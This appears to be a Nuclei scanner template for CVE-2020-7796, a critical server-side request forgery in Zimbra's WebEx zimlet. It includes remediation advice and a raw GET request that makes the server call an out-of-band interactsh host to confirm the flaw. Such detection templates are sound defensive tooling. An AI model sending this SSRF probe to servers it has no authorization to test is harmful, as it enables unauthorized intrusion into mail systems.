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id : CVE-2020-7796
info :
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name : Zimbra Collaboration Suite < 8.8.15 Patch 7 - Server-Side Request Forgery
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author : gy741
severity : critical
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description : Zimbra Collaboration Suite (ZCS) before 8.8.15 Patch 7 is susceptible to server-side request forgery when WebEx zimlet is installed and zimlet JSP is enabled.
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remediation : |
Apply the latest patch or upgrade to Zimbra Collaboration Suite version 8.8.15 Patch 7 or higher to mitigate this vulnerability.
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reference :
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- https://www.adminxe.com/2183.html
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- https://nvd.nist.gov/vuln/detail/CVE-2020-7796
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- https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P7
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score : 9.8
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cve-id : CVE-2020-7796
cwe-id : CWE-918
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epss-score : 0.72496
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epss-percentile : 0.9772
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cpe : cpe:2.3:a:synacor:zimbra_collaboration_suite:*:*:*:*:*:*:*:*
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metadata :
max-request : 1
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vendor : synacor
product : zimbra_collaboration_suite
tags : cve,cve2020,zimbra,ssrf,oast
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http :
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- raw :
- |
GET /zimlet/com_zimbra_webex/httpPost.jsp?companyId=http://{{interactsh-url}}%23 HTTP/1.1
Host : {{Hostname}}
matchers :
- type : word
part : interactsh_protocol # Confirms the HTTP Interaction
words :
- "http"
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# digest: 4a0a00473045022100eae898c11182b0b74c064cb4b9921e8d95f1402f7172191be66b877b55c7cf8902206c8cbc29688047fdbb5aba5d424ab15d7e994a5e30a28ac0ce19fde24b0e97a5:922c64590222798bb761d5b6d8e72950